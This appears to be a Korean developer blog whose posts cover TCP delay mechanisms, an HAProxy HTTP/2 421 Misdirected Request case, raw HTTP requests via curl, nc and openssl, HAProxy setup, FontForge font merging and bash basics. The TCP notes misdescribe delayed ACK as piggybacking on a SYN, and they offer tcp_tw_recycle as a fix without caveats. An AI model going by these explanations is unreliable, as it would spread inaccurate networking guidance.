그러나 약 1970년부터 연구되어 1983년에 개발된 글을 적고 있는 현재 기준으로 약 40년의 역사를 지닌 고인물 프로토콜 답게 TCP 프로토콜은 신뢰성 확보를 위해 내부적으로 여러가지 알고리즘이 도입되어 있는데, 이러한 알고리즘에 의해서도 지연이 발생하는 것을 알게 되었다.

delayed ack (확인 응답 지연)
- http://www.ktword.co.kr/test/view/view.php?no=3242
- TCP의 경우 신뢰성 확보를 위해 ACK 패킷을 전송해야 함. 즉 아래와 같은 통신이 사용됨
```
1 2 3 4 5  C S | SYN -> | | <- ACK | | <- SYN | | ACK -> | 
```
- ACK 패킷만 바로 보내게 되면 ACK 패킷을 보내기 위한 TCP 헤더 등을 추가로 송신해야 하며, ACK 패킷을 따로 보내게 될 경우 오버헤드가 발생할 수 있음.
- SYN 패킷을 받았을 때, ACK 패킷을 바로 전송하는 것이 아닌, 0.1초 혹은 그 이상의 대기시간을 주어 서버의 SYN 요청과 ACK 패킷을 함께 보내면 부하를 줄일 수 있음. (piggy-back 방식)
```
1 2 3 4  C S | SYN -> | | <- ACK/SYN | | ACK -> | 
```
- 안타깝게도, 요청과 응답, 딱 두가지의 통신 방식만 있는 HTTP는 이러한 ACK 패킷이 다음 SYN 패킷에 편승할 기회를 감소시킴.
slow start
- 클라이언트 또는 서버의 네트워크 상태를 모르니, 혼잡이 발생하지 않도록 커넥션이 처음 발생했을 때 패킷을 전송하는 양을 제한하고, 이를 천천히 늘려나가며 네트워크 혼잡을 제어함.
- 이를 TCP 혼잡 제어라고 하는데, 이 때문에 TCP의 커넥션이 막 연결될 당시에는, 혼잡 제어 알고리즘으로 인해 이미 연결된 알고리즘에 비해 속도 저하가 발생함.
- 즉, HTTP의 커넥션을 유지하지 않으면, 새로운 요청을 진행할 때메다 tcp 커넥션을 연결하고 끊기 때문에, slow start로 인해 지연이 발생할 수 있음.
Nagle(네이글) 알고리즘과 TCP_NODELAY
- 매우 작은 데이터를 보내야 하는 경우, (예를 들어 1~10byte 정도) Data의 내용보다 이 내용을 보내기 위한 TCP 헤더의 정보가 더 크다.
- 따라서 이러한 작은 패킷들을 모아, 묶어서, 전체 크기의 세그먼트를 전송할 수 있을 때까지 패킷의 전송을 지연시킬 수 있음.
  - MTU(Maximum Transmission Unit) 사이즈는 일반적으로 1500 byte 이므로, MSS(Maximum Segment Size)는 TCP 헤더와 IP 헤더의 길이를 제외한 1460 byte 이다.
- 네이글 알고리즘은 delayed ack와 함께 쓰일 경우 문제를 발생시킨다.
  - delayed ack는 확인 응답을 100~200 밀리초 지연시키는데, 네이글 알고리즘은 확인 응답이 도착할 때 까지 데이터 전송을 멈추기 때문에 서로 상반되는 제약조건을 가지고 있다.
- 또한 네이글 알고리즘은 MSS 사이즈의 패킷을 채우지 못하는 크기가 작은 HTTP 메시지의 경우, 앞으로 생길지 알 수 없는 추가적인 데이터를 기다리며 지연시킬 것이다.
- 따라서 HTTP 어플리케이션은 성능 향상을 위해 TCP_NODELAY 옵션을 주어, 네이글 알고리즘을 비활성화 하기도 한다.
  - 이 설정을 진행했다면 작은 크기의 패킷이 많이 생기지 않도록 큰 크기의 데이터를 만들어야 한다.

TIME-WAIT 누적, 포트 고갈

TCP는 4way handshake 이후에도 연결을 바로 종료하는 것이 아니라, TIME_WAIT을 통해 잠시 대기 상태에 들어간다.
A가 FIN을 보내고 B가 ACK, FIN을 보낸 뒤, A가 ACK를 보내고, A 또한 연결을 바로 끊는 것이 아니라 TIME_WAIT 상태에 진입한다.
- 이유인 즉, 혹시 마지막에 B에게 보낸 ACK 메시지가 도착하지 않았을 경우, B는 A에게 다시 FIN/ACK 메시지를 보내게 된다.
- A는 TIME-WAIT 상태에서 기다리다가 FIN/ACK 메시지를 받게 되면 TIME-WAIT 상태에서 빠져나와 B에게 다시 ACK 메시지를 보내고, 다시 TIME-WIAT 상태로 돌입한다.
즉, 먼저 연결 종료를 요청할 경우 TIME-WAIT 상태에 들어간다.
마지막 ACK 패킷이 전송되었는지를 확인하기 위해 거치는 작업. (혹시 모를 전송 실패에 대비하기 위해 TIME-WAIT이 존재)

TIME WAIT이 설명된 문서 : https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux

 A B | FIN -> | | <- ACK | | <- FIN | | ACK -> | |(TIME-WAIT) | (소켓 소멸) |(TIME-WAIT) | |(TIME-WAIT) | |(TIME-WAIT) | |(TIME-WAIT) | |(TIME-WAIT) | |(소켓 소멸) | 

어느 쪽에서 FIN 패킷을 먼저 보내는가에 따라 발생 케이스가 달라질 수 있다.
TIME WAIT 과 포트 고갈로 인한 문제 발생 사례 : https://tech.kakao.com/2016/04/21/closewait-timewait/
일반적인 상황에서는 발생하지 않을 가능성이 크나, 성능측정과 같이 제한적인 컴퓨터 대수로 많은 요청을 진행할 경우, TIME_WAIT 의 누적과 포트 고갈로 인해 문제가 발생할 수 있음.
이러한 문제를 해결하기 위해 TIME WAIT 상태의 소켓을 재사용하는 net.ipv4.tcp_tw_reuse 옵션 또는 net.ipv4.tcp_tw_recycle 옵션을 사용할 수 있다.
물론 이 외에도, 많은 양의 커넥션을 맺어두거나 대기 상태로 있는 제어 블록이 많아지는 상황은 조심해야 함.

책 짤막 회고

HTTP의 기반 통신이 되는 TCP 커넥션을 위주로 살펴보았다. 인상적이었던 부분은 telnet을 응용하여 HTTP RAW Request를 보내는 방법을 실습해보았고, 이를 통해 실제 HTTP RAW Packet을 보다 직접적으로 보내 보다 쉬운 이슈 재현 환경을 만들 수 있었다. 웹서버의 성능을 높이고 부하분산, 보안을 위해 프록시, 캐시서버, 게이트웨이, 터널 등 여러가지 방법을 사용할 수 있다는 것을 다시금 확인할 수 있었다.

책이 옛날에 쓰여진 책이라서 현재의 HTTP 프로토콜과 달라진 점을 비교, 조사해가며 읽었다.

HTTPS의 과거 SSL과 현재 TLS의 차이
HTTP/1.1과 이를 보완한 HTTP/2, UDP 기반의 QUIC (HTTP/3) 프로토콜을 살펴보며, HTTP의 발전사를 다시금 공부하였다.

HTTP와 TCP의 프로토콜에 대해, 그리고 네트워크 트래픽이 어떻게 흐르는지 이해하고 복습하는데 도움이 되었다.

리다이렉트를 통한 부하분산 처리
정적 페이지와 리소스를 캐싱하여 성능을 향상시키는 방법
- 캐시의 동작과 만료에 대한 이해
프록시 서버를 통한 트래픽 분산과 보안 강화
- 프록시의 커넥션(클라이언트와 프록시, 프록시와 웹서버) 관리 방법에 대한 이해
터널링을 통한 기타 프로토콜과의 연결

HTTP/2 421 Misdirected Request

Mon, 03 Jun 2024 00:00:00 +0900

도메인 serv1.iasdf.com과 serv2.iasdf.com을 HAProxy에 연결한다.
HAProxy를 다음과 같이 설정한다.
- 아래 호스트의 연결은 HTTP/2 L7 Load Balancing으로 설정한다.
- serv1.iasdf.com 호스트는 10.0.1.43 서버로 접속
- serv2.iasdf.com 호스트는 10.0.1.48 서버로 접속
웹 서버 두 대를 HTTP/2 프로토콜 통신이 가능하도록 설정한다.
요청을 크롬 브라우저의 Secret Tab을 이용하여 탭을 열어 각각의 서버에 접속한다.
- 1. 탭 하나 (tab1)을 열어서 serv1.iasdf.com에 접속한다.
- 1. 탭을 하나 더 열어서 (tab2) serv2.iasdf.com에 접속한다.

HAProxy 설정 내용

HAProxy 설정

frontend webserver_front_http2_connection_test mode http bind 10.0.1.49:443 ssl crt /path/to/cert.pem alpn h2 use_backend webserver_backend_http2_1 if { ssl_fc_sni serv1.iasdf.com } use_backend webserver_backend_http2_2 if { ssl_fc_sni serv2.iasdf.com } # use_backend webserver_backend_http2 if { ssl_fc_alpn -i h2 }  default_backend webserver_backend_http2_1 backend webserver_backend_http2_1 mode http balance roundrobin server server1 10.0.1.43:443 ssl verify none alpn h2 backend webserver_backend_http2_2 mode http balance roundrobin server server1 10.0.1.48:443 ssl verify none alpn h2 

설정 완료 후 크롬 접속 스크린샷

`serv1.iasdf.com`

Chrome serv1.iasdf.com -> HAProxy 10.0.1.49 -> Server 10.0.1.43

server1 은 title 바가 server 1, 10.0.1.43 내용이 담긴 페이지를 응답한다.
favicon이 있다.

`serv2.iasdf.com`

Chrome serv2.iasdf.com -> HAProxy 10.0.1.49 -> Server 10.0.1.48

server2 는 title 바가 server 2, 10.0.1.48 내용이 담긴 페이지를 응답한다.
favicon이 없다.

Expected Action

serv1.iasdf.com에 접속한 탭(tab1)은 serv1.iasdf.com에 대한 커넥션을 만들고 유지한다.
serv2.iasdf.com에 접속한 탭(tab2)은 serv2.iasdf.com에 대한 커넥션을 만들고 유지한다.

시퀀스 다이어그램

Current Action

탭을 열어 serv1 접속 후, serv2 접속 시에도 serv1 커넥션을 재사용하여 serv1 서버로 요청된다.
이러한 문제로 serv2.iasdf.com 도메인으로 요청했으나 serv1 페이지가 응답된다.

크롬에서 탭을 2개 열어서 서로 다른 도메인에 접속했지만,
serv2.iasdf.com 도메인 요청 시 serv2.iasdf.com 스크린샷 과 달리 serv1.iasdf.com 스크린샷 페이지가 응답된다.

이러한 문제는 프록시가 중개하여 발생하는데, 프록시에서 호스트에 따라 커넥션을 분배하기 때문에
serv1.iasdf.com, serv2.iasdf.com 모두 목적지가 프록시 (10.0.1.49) 를 가리킨다.

즉 클라이언트(크롬)은 serv1, serv2 모두 목적지가 같다고 판단하고 커넥션을 재사용한다.

WireShark 패킷 분석 내용

serv1 - 연결, 클라이언트 TCP 포트 53554

serv2 - 연결, 클라이언트 TCP 포트 53554 (serv1 커넥션 재사용)

응답 데이터가 server 1 페이지임.

Modify Action

sni를 비교하여 호스트가 다를 경우 HTTP/2 421 Misdirected Request 응답을 하도록 소스를 변경했다.

나와 같은 문제를 겪는 사람이 이미 있었는데, 링크를 첨부한다.

In the rare case where a server gets a resource request for an authority (or scheme) it can’t serve, there’s a dedicated error code 421 in HTTP/2 that it can respond with and the browser can then go back and retry that request on another connection.

reference: https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/

이 링크를 보면, 잘못된 요청을 받았을 때 HTTP/2 421 Misdirected Request 응답을 하도록 하라고 한다.

우선은 HAProxy의 코드를 수정해서 HTTP/2 421 Misdirected Request 응답을 하도록 했는데, 421 에러코드의 내용을 보면 “이 에러코드는 프록시에 의해 생성되어서는 안된다.” 라고 한다. (따라서 PR은 못 할듯)

The 421 (Misdirected Request) status code indicates that the request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.

Clients receiving a 421 (Misdirected Request) response from a server MAY retry the request — whether the request method is idempotent or not — over a different connection. This is possible if a connection is reused (Section 9.1.1) or if an alternative service is selected [ALT-SVC].

This status code MUST NOT be generated by proxies.

A 421 response is cacheable by default, i.e., unless otherwise indicated by the method definition or explicit cache controls (see Section 4.2.2 of [RFC7234]).

reference: https://httpwg.org/specs/rfc7540.html#MisdirectedRequest

동작 과정은 아래와 같다.

새로운 커넥션으로 serv2.iasdf.com 에 접속하게 되어, serv2.iasdf.com 페이지가 응답된다.

WireShark 패킷 분석 내용

serv1 - 연결, 클라이언트 TCP 포트 54250

serv2 - 연결, 클라이언트 TCP 포트 54250 으로 커넥션 재사용 시,
HAProxy에서 HTTP/2 421 Misdirected Request 응답
클라이언트는 421 응답을 받고, RST_STREAM을 보내 해당 탭의 HTTP/2 스트림을 중지(종료 아님)한다.

이후 serv2.iasdf.com 으로 새로운 커넥션을 맺어 통신한다. (TCP 포트 54253)

301 Redirect 와 달리, serv1 커넥션을 끊지 않는다.

CLI에서 HTTP RAW REQUEST 해보기

Tue, 02 Apr 2024 00:00:00 +0900

content

“HTTP 완벽 가이드” 라는 책을 보다가 HTTP 연결은 telnet을 통해 가능하다는 이야기가 있어 curl을 통해 raw request를 하는 방법을 생각해보았다.

HTTP

아래 내용을 통해 HTTP Raw Request 연결이 가능하다.

echo -en "GET /ip HTTP/1.1\r\nHost: www.iasdf.com\r\n\r\n" | curl "telnet://www.iasdf.com:80" 

파일을 하나 만들고

1 2 3 GET /ip HTTP/1.1 Host: www.iasdf.com

이것을 cat으로 출력한 뒤 curl로 리다이렉트 해도 된다.

1 cat test.http | curl "telnet://www.iasdf.com:80"

하지만 패킷을 뜯어보면 \r\n 으로 구분되는 것이 아닌 \n 으로만 구분되는 것을 확인할 수 있다.

따라서 curl 명령어를 좀 바꿔줘야 한다.

cat 명령어에 -A 옵션을 붙이면 라인의 맨 마지막에 $ 문자가 붙는다. 이를 이용해서 \n 문자를 \r\n 문자로 변경해 줄 것이다.

# 마지막 달러문자를 \r 문자로 변경 cat -A test.http | sed 's/\$$/\r/' 

이후 이것을 그대로 curl 요청한다.

cat -A test.http | sed 's/\$$/\r/' | curl "telnet://www.iasdf.com:80" 

이번엔 제대로 CRLF 문자로 나타나지는 것을 볼 수 있다.

curl - telnet이 아니더라도 netcat (nc) 을 이용해 요청할 수도 있다.

echo -en "GET /ip HTTP/1.1\r\nHost: www.iasdf.com\r\n\r\n" | nc www.iasdf.com 80 

HTTPS

https는 openssl s_client 를 사용한다.

openssl s_client 에서 -crlf 옵션을 사용하면, LF(\n) 만 있는 내용을 CRLF(\r\n) 으로 변경할 수 있다.

cat test.http | openssl s_client -keylogfile $HOME/sslkeylog.log -crlf -ign_eof -connect www.iasdf.com:443 <<< EOF cat -A test.http | sed 's/\$$/\r/' | openssl s_client -keylogfile $HOME/sslkeylog.log -quiet -connect www.iasdf.com:443 <<< EOF 

HTTP/2

HTTP/2 는 바이너리 형식의 프로토콜이라 RAW String을 가지고 그대로 요청하는 것에 한계가 있다. (특정한 툴을 사용하거나 HTTP/2 Raw 문자열을 바이너리 형식으로 변경해주는 것을 지원해야 한다.)

따라서 HTTP/2의 경우는 nghttp2 라이브러리의 nghttp 바이너리를 이용하거나 curl의 --http2 옵션을 사용하는 수 밖에 없을 것 같다.

Ubuntu에 haproxy 설치 및 설정

Thu, 28 Mar 2024 00:00:00 +0900

HAProxy 설명

L4 (TCP) 및 L7 (HTTP) 기반의 로드밸런싱 및 프록시를 제공하는 오픈소스 소프트웨어
C 언어로 개발, 스위치에서 제공하는 L4, L7 기능을 지원
reverse proxy의 형태로 동작, Keepalived를 사용하여 HA(high availability) 구성 진행

설치

apt로 설치

1 2 apt-get update apt-get install -y haproxy

컴파일하여 설치

HAProxy를 직접 컴파일하여 실행하여도 된다.
https://www.haproxy.org/#down

haproxy config 설정

ssl 세팅을 진행하기 위해서는 인증서를 조합하여 파일을 만들어야 한다.

cat "<인증서경로>" "<키경로>" > output.pem # 예시 (letsencrypt) # cat fullchain1.pem privkey1.pem > output.pem 

/etc/haproxy/haproxy.cfg 파일을 수정하여 설정을 진행한다.

# https://cbonte.github.io/haproxy-dconv/2.2/configuration.html global # maxconn 100000  log /dev/log local0 log /dev/log local1 notice chroot /var/lib/haproxy daemon user haproxy group haproxy stats socket /run/haproxy/admin.sock mode 660 level admin expose-fd listeners stats timeout 60s # nbproc 2  # nbthread 4  ca-base /etc/ssl/certs crt-base /etc/ssl/private ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384 ssl-default-bind-ciphersuites TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_CCM_SHA256:TLS_AES_128_CCM_8_SHA256 ssl-default-bind-options ssl-min-ver TLSv1.0 no-tls-tickets defaults log global mode http option httplog # mode tcp  # option tcplog  option dontlognull errorfile 500 /var/log/haproxy/error/500.http timeout connect 60s timeout client 600s timeout server 600s # http frontend webserver_front_http mode http bind 192.168.0.12:8088 bind 192.168.0.13:8088 # https redirect  default_backend webserver_backend_http # mode tcp - http2 frontend webserver_front_tcp_http2 mode tcp option tcplog bind 192.168.0.12:4433 ssl crt /path/to/cert.pem alpn h2 bind 192.168.0.13:4433 ssl crt /path/to/cert.com.pem alpn h2 use_backend webserver_backend_http2 if { ssl_fc_alpn -i h2 } default_backend webserver_backend_http2 # mode http - http2 frontend webserver_front_http_http2 mode http bind 192.168.0.12:4434 ssl crt /path/to/cert.pem alpn h2 bind 192.168.0.13:4434 ssl crt /path/to/cert.pem alpn h2 use_backend webserver_backend_http2_http if { ssl_fc_alpn -i h2 } default_backend webserver_backend_http2_http # use_backend webserver_backend_h2c if { ssl_fc_alpn -i h2 }  # default_backend webserver_backend_h2c  # mode http - http2/http1.1 frontend webserver_front_http_http2_https mode http bind 192.168.0.12:4435 ssl crt /path/to/cert.pem alpn h2,http/1.1 bind 192.168.0.13:4435 ssl crt /path/to/cert.pem alpn h2,http/1.1 # http2 지원할 때에만 연결  use_backend webserver_backend_http2_http if { ssl_fc_alpn -i h2 } # 디폴트는 http/1.1  default_backend webserver_backend_http_https # mode http - h2c frontend webserver_front_http_h2c mode http bind 192.168.0.12:4436 ssl crt /path/to/cert.pem alpn h2 bind 192.168.0.13:4436 ssl crt /path/to/cert.pem alpn h2 use_backend webserver_backend_h2c if { ssl_fc_alpn -i h2 } default_backend webserver_backend_h2c # frontend webserver_h2c # mode http # option http-use-htx # bind 192.168.0.12:4434 proto h2 # default_backend webserver_backend_http_h2c  backend webserver_backend_http mode http server server1 192.168.0.23:80 backend webserver_backend_tcp_https mode tcp # balance roundrobin  server server1 192.168.0.23:443 check backend webserver_backend_http_https mode http # balance roundrobin  server server1 192.168.0.23:443 ssl verify none backend webserver_backend_http2 mode tcp # mode http  balance roundrobin server server1 192.168.0.23:443 ssl verify none alpn h2 backend webserver_backend_http2_http mode http # mode http  # balance roundrobin  server server1 192.168.0.23:443 ssl verify none alpn h2 backend webserver_backend_h2c mode http # option http-use-htx  server server1 192.168.0.23:8082 alpn h2 backend webserver_backend_http_h2c mode http option http-use-htx server server1 192.168.0.23:8082 alpn h2c 

설정 파일의 문법이 잘못되었는지 확인하려면 다음 명령을 실행한다.

1 haproxy -f /etc/haproxy/haproxy.cfg -c

haproxy 실행

1 2 service haproxy start # systemctl start haproxy

영문 폰트와 한글 폰트 병합하기.

Thu, 14 Mar 2024 00:00:00 +0900

개요

세상에는 폰트가 정말로 많다. 갬성적인 코딩을 위해 여러가지 느낌있는 폰트를 찾아보면 대부분 외국에서 만든 것이기 때문에 한글을 지원하지 않는 경우가 많다.
이 경우 한국어 출력 시 OS에 맞는 기본 폰트가 나타나기 때문에, Windows의 경우 대다수는 Clear Gothic (맑은고딕) 폰트를,
MacOS의 경우 Apple SD Gothic Neo (애플 산돌고딕 Neo)를 만나볼 수 있을 것이다.

둥글둥글한 형식의 코딩 폰트를 보다가 딱딱한 한글 폰트를 보면 기분이가 좋지 않고 몰입이 깨진다.
요새는 두 번째 폰트를 지원하는 프로그램이 많아져서 대다수의 경우에는 이렇게 하지 않아도 되지만, 몇몇 프로그램의 경우 두번째 폰트를 지원하지 않는 경우가 있다.
따라서 이번에는 이러한 영문 폰트에 한글 폰트 및 Nerd Font를 병합하는 방법에 대하여 알아보려고 한다.

방법

들어가기에 앞서,
나는 MacOS를 주로 사용하므로 MacOS 기준으로 작성하였다.

Font Forge 다운로드

먼저 폰트를 병합하는 프로그램인 Font Forge가 설치되어 있어야 한다.
Mac에서는 아래 명렁어로 바로 설치가 가능하다.

brew install fontforge brew install --cask fontforge brew link fontforge 

폰트 병합하기

나는 Operator Mono 폰트에 HakgyoansimDoldam (학교안심돌담) 폰트를 병합해보려고 한다.

폰트 타입은 otf 든 ttf 든 상관없이 잘 병합됨을 확인하였다.

병합할 FontForge 스크립트 작성

fontmerge.ff 파일을 생성한다.

1 2 touch fontmerge.ff chmod 755 fontmerge.ff

생성한 fontmerge.ff 파일에 아래 내용을 복사하자.

#!/usr/local/bin/fontforge Open($1) SelectAll() ScaleToEm(Strtol($3)) Generate("1.ttf") Close() Open($2) SelectAll() ScaleToEm(Strtol($3)) Generate("2.ttf") Close() Open("1.ttf") MergeFonts("2.ttf") Generate($4) Close() 

스크립트 내용은 아래 블로그를 참조하였다. https://180bpm.tistory.com/173

병합 bash script 작성 (font forge 병합 명령어)

결론부터 말하자면 작성하지 않아도 된다.
병합 스크립트 작성이 귀찮거나 싫다면 아래 명령어들을 복사해서 실행하자.

fontforge -lang=ff -script fontmerge.ff "<영문폰트경로>", "<한글폰트경로>" 2048 "<결과폰트이름>" 

예시 명령어

# fontforge -lang=ff -script fontmerge.ff "OperatorMono/OperatorMono-BoldItalic.otf", "schoolDoldam/HakgyoansimDoldamB.otf" 2048 "result.otf" 

위 명령어를 실행할 것이 아니라 스크립트를 작성해 해결하고 싶다면 아래 내용을 참고한다.

merge_font.sh 파일을 생성하고 실행권한을 주자.

1 2 touch merge_font.sh chmod 755 merge_font.sh

아래 스크립트를 merge_font.sh 파일에 복사하고 ENG_FONT 변수와 KOR_FONT 변수에 각각 영문 폰트와 한글 폰트의 경로 (상대경로 또는 절대경로 가능) 을 입력하자.

#!/bin/bash # english font ENG_FONT="OperatorMono/OperatorMono-BoldItalic.otf" # korean font KOR_FONT="schoolDoldam/HakgyoansimDoldamB.otf" MERGED_FONT="mergedfont.otf" if [ -f "$MERGED_FONT" ]; then rm -f "$MERGED_FONT" fi fontforge -lang=ff -script fontmerge.ff "$ENG_FONT" "$KOR_FONT" 2048 "$MERGED_FONT" # 폰트 머지를 위해 생성한 임시 파일 삭제 rm -f 1.ttf 2.ttf if [ ! -d makedfont ]; then mkdir ./makedfont/ fi basename_font1=$(basename "$ENG_FONT") mv "$MERGED_FONT" "makedfont/$basename_font1" 

나의 스크립트 및 폰트 파일 경로

$ ls -alhF -rwxr-xr-x 1 test test 220 3 7 15:04 fontmerge.ff* -rwxr-xr-x 1 test test 585 3 14 17:14 merge_start.sh* drwxr-xr-x 12 test test 384 3 12 13:46 OperatorMono/ drwxr-xr-x 8 test test 256 3 14 16:45 schoolDoldam/ $ ls -alhF ./OperatorMono -rw-r--r-- 1 test test 34K 3 12 13:46 OperatorMono-Bold.otf -rw-r--r-- 1 test test 35K 3 12 13:46 OperatorMono-BoldItalic.otf ... $ ls -alhF ./schoolDoldam -rwxr-xr-x 1 test test 1.8M 3 14 16:45 HakgyoansimDoldamB.otf* -rwxr-xr-x 1 test test 2.8M 3 14 16:45 HakgyoansimDoldamB.ttf* 

이후 ./merge_start.sh 를 사용해 스크립트를 실행시키면 된다.
정상적으로 스크립트를 사용해 머지가 되었다면 makedfont 디렉토리가 만들어지고
해당 디렉토리 안에 mergedfont.otf 머지된 폰트가 생성될 것이다.

나온 결과물을 설치하고 확인하면 된다.

참고

폰트 파일은 영문 굵은 폰트는 한글 굵은 폰트로, 영문 일반 폰트는 한글 일반 폰트로, 영문 가는 폰트는 한글 가는 폰트로,
각자의 폰트 굵기에 맞게 병합하는 것을 추천한다.
참고로 한글 폰트는 기본적으로 폰트 자체에서 기울임꼴 글꼴을 지원하지 않는 경우가 많다.

아쉽지만 한글 폰트를 병합하여 사용할 시에는 고정폭 형식(Monospace)을 사용할 수 없다.

OperatorMono-Bold.otf + HakgyoansimDoldamB.otf
OperatorMono-Medium.otf + HakgyoansimDoldamM.otf
OperatorMono-Light.otf + HakgyoansimDoldamL.otf

번외 - 폰트에 Nerd Font 병합하기

머지한 폰트가 기본적으로 Nerd Font를 지원하지 않아서 Nerd Font 글꼴이 필요한 몇몇 글자가 깨져서 나타나고 있다.

아래 링크를 참조하여 Nerd Font를 병합해보자.
https://github.com/ryanoasis/nerd-fonts?tab=readme-ov-file#font-patcher

위 경로의 URL에 들어가면 FontPatcher.zip 을 다운로드 받을 수 있는 링크를 찾을 수 있다.

Use the script … 부분에
Download script and its helper files as archive and extract
부분의 archive 링크를 클릭하여 FontPatcher.zip 파일을 다운로드 받는다.
압축 파일을 풀면 font-patcher 스크립트가 나올 것이다.

아래 URL에서 다운로드 받을 수 있으나 외부 링크라 언제 만료될 지 모르니 위의 링크를 참조하자.
https://github.com/ryanoasis/nerd-fonts/releases/latest/download/FontPatcher.zip

“Requres” 의 내용을 살펴보면 Python3과 python-fontforge, argparse 패키지가 필요하다.

필요한 패키지를 설치하자.

# python3 -m pip innstall fontforge pip3 install python-fontforge pip3 install argparse 

현재 상황

$ ls -alhF font-patcher drwxr-xr-x 6 test test 192 3 11 14:23 FontPatcher/ -rw-r--r-- 1 test test 1.9M 2 29 14:12 FontPatcher.zip drwxr-xr-x 12 test test 384 3 14 16:51 makedfont/ $ ls -alhF ./FontPatcher total 116K drwxr-xr-x 3 test test 96 2 29 14:13 bin/ -rwxr-xr-x 1 test test 112K 11 27 02:44 font-patcher* -rw-r--r-- 1 test test 422 11 27 02:44 readme.md drwxr-xr-x 3 test test 96 2 29 14:13 src/ $ ls -alhF ./makedfont -rw-r--r-- 1 test test 3.5M 3 14 16:48 OperatorMono-Light.otf -rw-r--r-- 1 test test 3.5M 3 14 16:48 OperatorMono-LightItalic.otf 

기본적인 명령어 사용법은 아래와 같다.

fontfore --script "<font-patcher 스크립트 경로>" --complete "<머지된 폰트 경로>" # 모노 옵션을 추가할 경우 fontfore --script "<font-patcher 스크립트 경로>" --complete --mono "<머지된 폰트 경로>" 

예제

fontforge --script "FontPatcher/font-patcher" --complete "makedfont/Korean-OperatorMono-Light.otf" # 모노 옵션을 추가할 경우 fontforge --script "FontPatcher/font-patcher" --complete --mono "makedfont/Korean-OperatorMono-Light.otf" 

한글 폰트가 적용된 상태에서 Mono 옵션을 추가할 경우 폰트의 폭이 비정상적으로 변형될 가능성이 존재하기에 --mono 옵션을 추가하는 것은 추천하지 않는다.

결과

vscode에서 sequence diagram 작성하기

Thu, 29 Feb 2024 00:00:00 +0900

개요

vscode에서 sequence diagram을 작성할 수 있는 확장을 찾아보았다.

plantuml 확장으로 sequence diagram을 작성하면 좋겠지만
plantuml은 문법이 복잡하여 단순히 노트하고, 노트한 내용에 대한 시퀀스를 표현하기에는 불편하다는 단점이 있었다.

따라서 문법이 간단하고 다이어그램을 직관적으로 표현할 수 있는 확장을 찾아보았다.

그 결과 VSCode Sequence Diagrams 확장을 찾을 수 있었다.

문법은 여기서 확인할 수 있다.
https://bramp.github.io/js-sequence-diagrams/

방법

확장을 설치하고 .seqdiag 확장자로 파일을 생성하면 된다.

이후 문법에 맞춰 내용을 작성하고 명령팔레트를 열어 Show Sequence Diagram Preview 명령을 실행하면 미리보기를 확인할 수 있다.

웹페이지 주소는 아래와 같다.
https://www.websequencediagrams.com/

예시 문법 및 결과

# https://bramp.github.io/js-sequence-diagrams/ Title: 시퀀스 다이어그램 participant A participant B participant C # 주석 A->B: Hello World B-->A: How are you? B->B: Stop The World A->>C: I am good thanks! C-->>A: suddenly? Note over A: Umm... Note over A,B: 장애 발생 Note right of C: right C Note left of B: left B 

^결과

bash manual

Wed, 14 Feb 2024 00:00:00 +0900

bash 스크립트는 자주 사용하면서도 기억이 잘 안나는 부분이 많아서 정리해둔다.

까먹은 명령어나 기능을 바로바로 찾아보기 위해 만든 문서이다.

bash

스크립트 실행법

chmod를 이용하여 파일에 실행권한을 주고

1 2 chmod +x <filename> chmod 755 <filename>

파일의 최상단에 #!/bin/bash를 추가한다. 리눅스 스크립트의 경우 파일의 최상단에 #!로 시작하는 줄이 있을 경우 해당 프로그램으로 스크립트를 동작시킨다.

1 #!/bin/bash

또는 /bin/bash <filename> 으로 실행할 수 있다.

주석 처리

#을 이용하여 주석 처리한다.

1 # comment

변수

변수는 변수명=값 형식으로 생성한다.
중요 : 이 때 = 앞뒤로 공백을 넣으면 안된다.

var1=10 var2="string" var3=/usr/bin/python3 

변수 생성시에는 = 앞뒤로 공백을 넣으면 syntax error

1 var4 = 10 # error

명령어 출력 결과를 변수에 저장하고 싶어요

명령어를 ` `` ` 또는 $()로 감싸 변수로 저장하면 된다.

var1=`pwd` var2=$(ls -al) 

변수를 사용/출력하고 싶어요

변수를 사용할 때에는 $를 붙여 사용한다.
$varname 또는 중괄호를 붙여 ${varname}으로 사용할 수 있다.

변수를 출력할 때에는 echo와 함께 사용한다. 변수를 그냥 사용할 때와 큰따옴표를 붙여 사용할 때의 출력결과에는 차이가 존재한다.

그냥 사용 : 변수의 값이 출력된다. 이 때 여러개의 공백과 줄바꿈은 하나의 공백으로 출력된다.
' ' 작은따옴표로 감싸 사용 : $ 표시를 변수로 인식하지 않고 string 그대로 출력한다.
" " 큰따옴표로 감싸 사용 : 변수의 값이 출력된다.

var1="apple is sweet and delicious" echo $var1 # apple is sweet and delicious echo ${var1} # apple is sweet and delicious echo "var1 : $var1" # var1 : apple is sweet # and delicious echo "var1:${var1}" # var1 : apple is sweet # and delicious echo 'var1 : $var1' # var1 : $var1 

변수의 일부만 출력하고 싶어요

${varname:offset:length} 형식으로 사용한다.

var1="apple is sweet" echo "${var1:2}" # ple is sweet echo "${var1:1:2}" # pp 

변수 (문자열)의 길이를 획득하고 싶어요

wc -L 사용

var1="apple is sweet" echo "$var1" | wc -L 

expr length 사용

var1="apple is sweet" expr length "$var1" 

awk {print length($0) 사용

var1="apple is sweet" echo "$var1" | awk '{print length($0)}' 

# 사용

var1="apple is sweet" echo "${#var1}" 

응용 : 문자열의 마지막 문자를 빼고 출력하고 싶어요

var1="apple is sweet" echo "${var1::$(expr ${#var1} - 1)}" # apple is swee 

변수 (문자열)의 값을 치환하고 싶어요 (문자열 치환 - replace)

tr을 사용한다.
- tr은 문자 단위로 치환한다

echo "apple" | tr "p" "q" # aqqle 

sed를 사용한다.
- sed는 문자열 단위로 치환한다.

echo "apple apple is sweet" | sed -e "s/apple/orange/" # orange apple is sweet echo "apple apple is sweet" | sed -e "s/apple/orange/g" # orange orange is sweet 

사칙연산을 진행하고 싶어요

expr을 사용한다.
